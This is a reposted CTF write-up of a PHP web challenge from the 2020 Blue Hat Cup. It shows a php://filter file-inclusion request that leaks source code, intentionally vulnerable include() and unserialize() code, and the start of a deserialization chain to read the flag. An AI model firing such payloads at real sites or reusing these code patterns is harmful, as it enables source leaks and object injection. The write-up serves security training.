2020藍帽杯CTF Web 題

本文轉載自查看原文 2020-08-07 14:36 1452

2020藍帽杯CTF Web 題

這是一個空白頁面別找了小hacker, 這里什么都沒有

http://127.0.0.1/blueCTF/?file=php://filter/read=convert.base64-encode/resource=./try.php


<?php
class Seri{
    public $alize;
    public function __construct($alize) {
        $this->alize = $alize;
    }
    public function __destruct(){
        $this->alize->getFlag();
    }
}

class Flag{
    public $f;
    public $t1;
    public $t2;

    function __construct($file){
        echo "Another construction!!";
        $this->f = $file;
        $this->t1 = $this->t2 = md5(rand(1,10000));
    }

    public function getFlag(){
        $this->t2 = md5(rand(1,10000));
        echo $this->t1;
        echo $this->t2;
        if($this->t1 === $this->t2)
        {
            if(isset($this->f)){
                echo @highlight_file($this->f,true);
            }
        }
    }
}

?>

看到序列化，尋找序列化觸發點，先去讀index查看

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="css.css">
<title>空白頁面</title>
</head>
<div class="overlay">
    <div class="hero">
        <h1>這是一個<span>空白頁面</span></h1>
        <h3>別找了小hacker, 這里什么都沒有</h3>
    </div>
</div>
</html>
<?php
error_reporting(0);
$file = $_GET["file"];
$p = $_GET["p"];
if (isset($file)) {
    echo 'NONONO' . '<br>';

    if (preg_match("/flag/", $file)) {
        die('HACKER GOGOGO!!!');
    }
    @include($file);

    if (isset($p)) {
        $p = unserialize($p);
    } else {
        echo "NONONO";
    }
}
?>

通過參數file進行文件包含，包含try.php文件,然后通過參數p進行反序列化

我們需要用Seri 調用 Flag類中的getFlag方法，構造序列化